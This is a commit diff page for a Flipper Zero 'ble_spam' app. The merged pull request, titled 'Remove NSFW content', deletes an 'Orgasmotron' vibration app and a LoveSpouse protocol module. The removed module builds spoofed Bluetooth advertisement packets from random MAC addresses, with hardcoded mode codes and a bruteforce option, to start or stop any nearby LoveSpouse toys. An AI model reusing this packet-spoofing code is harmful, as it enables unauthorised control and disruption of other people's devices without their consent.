Przeglądaj źródła

Merge pull request #3 from AbeNaws/dev

Remove NSFW content
WillyJL 1 rok temu
rodzic
commit
3f586b7b29

+ 0 - 26
ble_spam/ble_spam.c

@@ -109,32 +109,6 @@ static Attack attacks[] = {
                 .cfg.swiftpair = {},
             },
     },
-    {
-        .title = "Vibrate 'em All",
-        .text = "Activate all LoveSpouse toys",
-        .protocol = &protocol_lovespouse,
-        .payload =
-            {
-                .random_mac = true,
-                .cfg.lovespouse =
-                    {
-                        .state = LovespouseStatePlay,
-                    },
-            },
-    },
-    {
-        .title = "Denial of Pleasure",
-        .text = "Disable all LoveSpouse toys",
-        .protocol = &protocol_lovespouse,
-        .payload =
-            {
-                .random_mac = true,
-                .cfg.lovespouse =
-                    {
-                        .state = LovespouseStateStop,
-                    },
-            },
-    },
 };
 
 #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))

BIN
ble_spam/icons/heart.png


+ 0 - 1
ble_spam/protocols/_protocols.c

@@ -4,7 +4,6 @@ const Protocol* protocols[] = {
     &protocol_continuity,
     &protocol_easysetup,
     &protocol_fastpair,
-    &protocol_lovespouse,
     &protocol_swiftpair,
 };
 

+ 0 - 2
ble_spam/protocols/_protocols.h

@@ -3,7 +3,6 @@
 #include "continuity.h"
 #include "easysetup.h"
 #include "fastpair.h"
-#include "lovespouse.h"
 #include "swiftpair.h"
 
 typedef enum {
@@ -24,7 +23,6 @@ struct Payload {
         ContinuityCfg continuity;
         EasysetupCfg easysetup;
         FastpairCfg fastpair;
-        LovespouseCfg lovespouse;
         SwiftpairCfg swiftpair;
     } cfg;
 };

+ 0 - 1
ble_spam/protocols/_scenes.h

@@ -1,5 +1,4 @@
 #include "continuity_scenes.h"
 #include "easysetup_scenes.h"
 #include "fastpair_scenes.h"
-#include "lovespouse_scenes.h"
 #include "swiftpair_scenes.h"

+ 0 - 292
ble_spam/protocols/lovespouse.c

@@ -1,292 +0,0 @@
-#include "lovespouse.h"
-#include "_protocols.h"
-
-// Hacked together by @Willy-JL
-// Discovered by @mandomat
-// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
-
-typedef struct {
-    uint32_t value;
-    const char* name;
-} LovespouseMode;
-
-static const LovespouseMode plays[] = {
-    {0xE49C6C, "Classic 1"},       {0xE7075E, "Classic 2"},       {0xE68E4F, "Classic 3"},
-    {0xE1313B, "Classic 4"},       {0xE0B82A, "Classic 5"},       {0xE32318, "Classic 6"},
-    {0xE2AA09, "Classic 7"},       {0xED5DF1, "Classic 8"},       {0xECD4E0, "Classic 9"},
-    {0xD41F5D, "Independent 1-1"}, {0xD7846F, "Independent 1-2"}, {0xD60D7E, "Independent 1-3"},
-    {0xD1B20A, "Independent 1-4"}, {0xD0B31B, "Independent 1-5"}, {0xD3A029, "Independent 1-6"},
-    {0xD22938, "Independent 1-7"}, {0xDDDEC0, "Independent 1-8"}, {0xDC57D1, "Independent 1-9"},
-    {0xA4982E, "Independent 2-1"}, {0xA7031C, "Independent 2-2"}, {0xA68A0D, "Independent 2-3"},
-    {0xA13579, "Independent 2-4"}, {0xA0BC68, "Independent 2-5"}, {0xA3275A, "Independent 2-6"},
-    {0xA2AE4B, "Independent 2-7"}, {0xAD59B3, "Independent 2-8"}, {0xACD0A2, "Independent 2-9"},
-};
-
-static const LovespouseMode stops[] = {
-    {0xE5157D, "Classic Stop"},
-    {0xD5964C, "Independent 1 Stop"},
-    {0xA5113F, "Independent 2 Stop"},
-};
-
-static const struct {
-    const LovespouseMode* modes;
-    uint8_t count;
-} modes[LovespouseStateCOUNT] = {
-    [0] = {plays, COUNT_OF(plays)},
-    [LovespouseStatePlay] = {plays, COUNT_OF(plays)},
-    [LovespouseStateStop] = {stops, COUNT_OF(stops)},
-};
-
-static const char* get_name(const Payload* payload) {
-    UNUSED(payload);
-    return "LoveSpouse";
-}
-
-static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
-    LovespouseCfg* cfg = payload ? &payload->cfg.lovespouse : NULL;
-
-    LovespouseState state;
-    if(cfg && cfg->state != 0x00) {
-        state = cfg->state;
-    } else {
-        const LovespouseState states[] = {
-            LovespouseStatePlay,
-            LovespouseStateStop,
-        };
-        state = states[rand() % COUNT_OF(states)];
-    }
-
-    uint32_t mode;
-    switch(cfg ? payload->mode : PayloadModeRandom) {
-    case PayloadModeRandom:
-    default:
-        mode = modes[state].modes[rand() % modes[state].count].value;
-        break;
-    case PayloadModeValue:
-        mode = cfg->mode;
-        break;
-    case PayloadModeBruteforce:
-        mode = cfg->mode = payload->bruteforce.value;
-        break;
-    }
-
-    uint8_t size = 22;
-    uint8_t* packet = malloc(size);
-    uint8_t i = 0;
-
-    packet[i++] = 2; // Size
-    packet[i++] = 0x01; // AD Type (Flags)
-    packet[i++] = 0x1A; // Flags
-
-    packet[i++] = 14; // Size
-    packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
-    packet[i++] = 0xFF; // Company ID (Typo Products, LLC)
-    packet[i++] = 0x00; // ...
-    packet[i++] = 0x6D;
-    packet[i++] = 0xB6;
-    packet[i++] = 0x43;
-    packet[i++] = 0xCE;
-    packet[i++] = 0x97;
-    packet[i++] = 0xFE;
-    packet[i++] = 0x42;
-    packet[i++] = 0x7C;
-    packet[i++] = (mode >> 0x10) & 0xFF;
-    packet[i++] = (mode >> 0x08) & 0xFF;
-    packet[i++] = (mode >> 0x00) & 0xFF;
-
-    packet[i++] = 3; // Size
-    packet[i++] = 0x03; // AD Type (Service UUID List)
-    packet[i++] = 0x8F; // Service UUID (Unregistered)
-    packet[i++] = 0xAE; // ...
-
-    *_size = size;
-    *_packet = packet;
-}
-
-enum {
-    _ConfigExtraStart = ConfigExtraStart,
-    ConfigMode,
-    ConfigCOUNT,
-};
-static void config_callback(void* _ctx, uint32_t index) {
-    Ctx* ctx = _ctx;
-    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
-    switch(index) {
-    case ConfigMode:
-        scene_manager_next_scene(ctx->scene_manager, SceneLovespouseMode);
-        break;
-    default:
-        ctx->fallback_config_enter(ctx, index);
-        break;
-    }
-}
-static void mode_changed(VariableItem* item) {
-    Payload* payload = variable_item_get_context(item);
-    LovespouseCfg* cfg = &payload->cfg.lovespouse;
-    uint8_t index = variable_item_get_current_value_index(item);
-    if(index) {
-        index--;
-        payload->mode = PayloadModeValue;
-        cfg->mode = modes[cfg->state].modes[index].value;
-        variable_item_set_current_value_text(item, modes[cfg->state].modes[index].name);
-    } else {
-        payload->mode = PayloadModeRandom;
-        variable_item_set_current_value_text(item, "Random");
-    }
-}
-static void extra_config(Ctx* ctx) {
-    Payload* payload = &ctx->attack->payload;
-    LovespouseCfg* cfg = &payload->cfg.lovespouse;
-    VariableItemList* list = ctx->variable_item_list;
-    VariableItem* item;
-    uint8_t value_index;
-
-    item = variable_item_list_add(
-        list, "Toy Mode", modes[cfg->state].count + 1, mode_changed, payload);
-    const char* mode_name = NULL;
-    char mode_name_buf[9];
-    switch(payload->mode) {
-    case PayloadModeRandom:
-    default:
-        mode_name = "Random";
-        value_index = 0;
-        break;
-    case PayloadModeValue:
-        for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
-            if(cfg->mode == modes[cfg->state].modes[i].value) {
-                mode_name = modes[cfg->state].modes[i].name;
-                value_index = i + 1;
-                break;
-            }
-        }
-        if(!mode_name) {
-            snprintf(mode_name_buf, sizeof(mode_name_buf), "%06lX", cfg->mode);
-            mode_name = mode_name_buf;
-            value_index = modes[cfg->state].count + 1;
-        }
-        break;
-    case PayloadModeBruteforce:
-        mode_name = "Bruteforce";
-        value_index = modes[cfg->state].count + 1;
-        break;
-    }
-    variable_item_set_current_value_index(item, value_index);
-    variable_item_set_current_value_text(item, mode_name);
-
-    variable_item_list_set_enter_callback(list, config_callback, ctx);
-}
-
-static uint8_t config_count(const Payload* payload) {
-    UNUSED(payload);
-    return ConfigCOUNT - ConfigExtraStart - 1;
-}
-
-const Protocol protocol_lovespouse = {
-    .icon = &I_heart,
-    .get_name = get_name,
-    .make_packet = make_packet,
-    .extra_config = extra_config,
-    .config_count = config_count,
-};
-
-static void mode_callback(void* _ctx, uint32_t index) {
-    Ctx* ctx = _ctx;
-    Payload* payload = &ctx->attack->payload;
-    LovespouseCfg* cfg = &payload->cfg.lovespouse;
-    if(index == 0) {
-        payload->mode = PayloadModeRandom;
-        scene_manager_previous_scene(ctx->scene_manager);
-    } else if(index == modes[cfg->state].count + 1U) {
-        scene_manager_next_scene(ctx->scene_manager, SceneLovespouseModeCustom);
-    } else if(modes[cfg->state].count + 2U) {
-        payload->mode = PayloadModeBruteforce;
-        payload->bruteforce.counter = 0;
-        payload->bruteforce.value = cfg->mode;
-        payload->bruteforce.size = 3;
-        scene_manager_previous_scene(ctx->scene_manager);
-    } else {
-        payload->mode = PayloadModeValue;
-        cfg->mode = modes[cfg->state].modes[index - 1].value;
-        scene_manager_previous_scene(ctx->scene_manager);
-    }
-}
-void scene_lovespouse_mode_on_enter(void* _ctx) {
-    Ctx* ctx = _ctx;
-    Payload* payload = &ctx->attack->payload;
-    LovespouseCfg* cfg = &payload->cfg.lovespouse;
-    Submenu* submenu = ctx->submenu;
-    uint32_t selected = 0;
-
-    submenu_add_item(submenu, "Random", 0, mode_callback, ctx);
-    if(payload->mode == PayloadModeRandom) {
-        selected = 0;
-    }
-
-    bool found = false;
-    for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
-        submenu_add_item(submenu, modes[cfg->state].modes[i].name, i + 1, mode_callback, ctx);
-        if(!found && payload->mode == PayloadModeValue &&
-           cfg->mode == modes[cfg->state].modes[i].value) {
-            found = true;
-            selected = i + 1;
-        }
-    }
-    submenu_add_item(submenu, "Custom", modes[cfg->state].count + 1, mode_callback, ctx);
-    if(!found && payload->mode == PayloadModeValue) {
-        selected = modes[cfg->state].count + 1;
-    }
-
-    submenu_add_item(submenu, "Bruteforce", modes[cfg->state].count + 2, mode_callback, ctx);
-    if(payload->mode == PayloadModeBruteforce) {
-        selected = modes[cfg->state].count + 2;
-    }
-
-    submenu_set_selected_item(submenu, selected);
-
-    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
-}
-bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) {
-    UNUSED(_ctx);
-    UNUSED(event);
-    return false;
-}
-void scene_lovespouse_mode_on_exit(void* _ctx) {
-    Ctx* ctx = _ctx;
-    submenu_reset(ctx->submenu);
-}
-
-static void mode_custom_callback(void* _ctx) {
-    Ctx* ctx = _ctx;
-    Payload* payload = &ctx->attack->payload;
-    LovespouseCfg* cfg = &payload->cfg.lovespouse;
-    payload->mode = PayloadModeValue;
-    cfg->mode =
-        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
-    scene_manager_previous_scene(ctx->scene_manager);
-    scene_manager_previous_scene(ctx->scene_manager);
-}
-void scene_lovespouse_mode_custom_on_enter(void* _ctx) {
-    Ctx* ctx = _ctx;
-    Payload* payload = &ctx->attack->payload;
-    LovespouseCfg* cfg = &payload->cfg.lovespouse;
-    ByteInput* byte_input = ctx->byte_input;
-
-    byte_input_set_header_text(byte_input, "Enter custom Toy Mode");
-
-    ctx->byte_store[0] = (cfg->mode >> 0x10) & 0xFF;
-    ctx->byte_store[1] = (cfg->mode >> 0x08) & 0xFF;
-    ctx->byte_store[2] = (cfg->mode >> 0x00) & 0xFF;
-
-    byte_input_set_result_callback(
-        byte_input, mode_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
-
-    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
-}
-bool scene_lovespouse_mode_custom_on_event(void* _ctx, SceneManagerEvent event) {
-    UNUSED(_ctx);
-    UNUSED(event);
-    return false;
-}
-void scene_lovespouse_mode_custom_on_exit(void* _ctx) {
-    UNUSED(_ctx);
-}

+ 0 - 19
ble_spam/protocols/lovespouse.h

@@ -1,19 +0,0 @@
-#pragma once
-#include "_base.h"
-
-// Hacked together by @Willy-JL
-// Discovered by @mandomat
-// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
-
-typedef enum {
-    LovespouseStatePlay = 0x01, // Skip 0 as it means unset
-    LovespouseStateStop,
-    LovespouseStateCOUNT,
-} LovespouseState;
-
-typedef struct {
-    LovespouseState state;
-    uint32_t mode;
-} LovespouseCfg;
-
-extern const Protocol protocol_lovespouse;

+ 0 - 2
ble_spam/protocols/lovespouse_scenes.h

@@ -1,2 +0,0 @@
-ADD_SCENE(lovespouse_mode, LovespouseMode)
-ADD_SCENE(lovespouse_mode_custom, LovespouseModeCustom)

+ 0 - 11
orgasmotron/application.fam

@@ -1,11 +0,0 @@
-App(
-    appid="orgasmotron",
-    name="Orgasmotron",
-    apptype=FlipperAppType.EXTERNAL,
-    entry_point="orgasmotron_app",
-    cdefines=["ORGASMOTRON"],
-    requires=["gui"],
-    stack_size=1 * 1024,
-    fap_icon="orgasmotron_10px.png",
-    fap_category="Tools",
-)

+ 0 - 163
orgasmotron/orgasmotron.c

@@ -1,163 +0,0 @@
-#include <furi.h>
-#include <furi_hal.h>
-
-#include <gui/gui.h>
-#include <input/input.h>
-#include <notification/notification_messages.h>
-
-typedef struct {
-    FuriMutex* mutex;
-    int mode;
-} PluginState;
-
-void vibro_test_draw_callback(Canvas* canvas, void* ctx) {
-    UNUSED(ctx);
-    canvas_clear(canvas);
-    canvas_set_font(canvas, FontPrimary);
-    canvas_draw_str(canvas, 2, 10, "Vibro Modes");
-    canvas_set_font(canvas, FontSecondary);
-    canvas_draw_str(canvas, 2, 22, "UP: Pulsed");
-    canvas_draw_str(canvas, 2, 34, "LEFT: strong / RIGHT: Soft");
-    canvas_draw_str(canvas, 2, 46, "DOWN: Pleasure combo");
-    canvas_draw_str(canvas, 2, 58, "OK: Pause");
-}
-
-void vibro_test_input_callback(InputEvent* input_event, void* ctx) {
-    furi_assert(ctx);
-    FuriMessageQueue* event_queue = ctx;
-    furi_message_queue_put(event_queue, input_event, FuriWaitForever);
-}
-
-void delay(int milliseconds) {
-    furi_thread_flags_wait(0, FuriFlagWaitAny, milliseconds);
-}
-
-int32_t orgasmotron_app(void* p) {
-    UNUSED(p);
-    FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
-
-    PluginState* plugin_state = malloc(sizeof(PluginState));
-    plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
-    if(!plugin_state->mutex) {
-        FURI_LOG_E("Orgasmatron", "cannot create mutex\r\n");
-        free(plugin_state);
-        return 255;
-    }
-
-    // Configure view port
-    ViewPort* view_port = view_port_alloc();
-    view_port_draw_callback_set(view_port, vibro_test_draw_callback, NULL);
-    view_port_input_callback_set(view_port, vibro_test_input_callback, event_queue);
-
-    // Register view port in GUI
-    Gui* gui = furi_record_open(RECORD_GUI);
-    gui_add_view_port(gui, view_port, GuiLayerFullscreen);
-
-    NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION);
-
-    InputEvent event;
-    bool processing = true;
-    size_t i = 0;
-    while(processing) {
-        FuriStatus event_status = furi_message_queue_get(event_queue, &event, 50);
-        furi_mutex_acquire(plugin_state->mutex, FuriWaitForever);
-        if(event_status == FuriStatusOk) {
-            if(event.key == InputKeyBack && event.type == InputTypeShort) {
-                //Exit Application
-                plugin_state->mode = 0;
-                processing = false;
-            }
-            if(event.key == InputKeyOk &&
-               (event.type == InputTypePress || event.type == InputTypeRelease)) {
-                plugin_state->mode = 0;
-            }
-            if(event.key == InputKeyLeft &&
-               (event.type == InputTypePress || event.type == InputTypeRelease)) {
-                notification_message(notification, &sequence_set_green_255);
-                plugin_state->mode = 1;
-            }
-            if(event.key == InputKeyRight &&
-               (event.type == InputTypePress || event.type == InputTypeRelease)) {
-                notification_message(notification, &sequence_set_green_255);
-                plugin_state->mode = 3;
-            }
-            if(event.key == InputKeyUp &&
-               (event.type == InputTypePress || event.type == InputTypeRelease)) {
-                notification_message(notification, &sequence_set_green_255);
-                plugin_state->mode = 2;
-            }
-            if(event.key == InputKeyDown &&
-               (event.type == InputTypePress || event.type == InputTypeRelease)) {
-                notification_message(notification, &sequence_set_green_255);
-                plugin_state->mode = 4;
-            }
-            i = 0;
-        }
-
-        if(plugin_state->mode == 0) {
-            //Stop Vibration
-            if(i == 0) {
-                notification_message(notification, &sequence_reset_vibro);
-                notification_message(notification, &sequence_reset_green);
-                i++;
-            }
-        } else if(plugin_state->mode == 1) {
-            //Full power
-            if(i == 0) {
-                notification_message(notification, &sequence_set_vibro_on);
-                i++;
-            }
-        } else if(plugin_state->mode == 2) {
-            //Pulsed Vibration
-            i++;
-            if(i == 1) {
-                notification_message(notification, &sequence_set_vibro_on);
-            }
-            if(i == 3) {
-                notification_message(notification, &sequence_reset_vibro);
-            }
-            if(i == 4) {
-                i = 0;
-            }
-        } else if(plugin_state->mode == 3) {
-            //Soft power
-            i++;
-            if(i == 1) {
-                notification_message(notification, &sequence_set_vibro_on);
-            }
-            if(i == 2) {
-                notification_message(notification, &sequence_reset_vibro);
-                i = 0;
-            }
-        } else if(plugin_state->mode == 4) {
-            //Special Sequence
-            i++;
-            if(i < 23) {
-                if(i % 2) {
-                    notification_message(notification, &sequence_set_vibro_on);
-                } else {
-                    notification_message(notification, &sequence_reset_vibro);
-                }
-            } else if(i < 40) {
-                if(i == 24 || i == 33) {
-                    notification_message(notification, &sequence_set_vibro_on);
-                } else if(i == 32) {
-                    notification_message(notification, &sequence_reset_vibro);
-                }
-            } else if(i == 41) {
-                notification_message(notification, &sequence_reset_vibro);
-                i = 0;
-            }
-        }
-        furi_mutex_release(plugin_state->mutex);
-    }
-    gui_remove_view_port(gui, view_port);
-    view_port_free(view_port);
-    furi_mutex_free(plugin_state->mutex);
-    furi_message_queue_free(event_queue);
-
-    furi_record_close(RECORD_NOTIFICATION);
-    furi_record_close(RECORD_GUI);
-
-    return 0;
-}

BIN
orgasmotron/orgasmotron_10px.png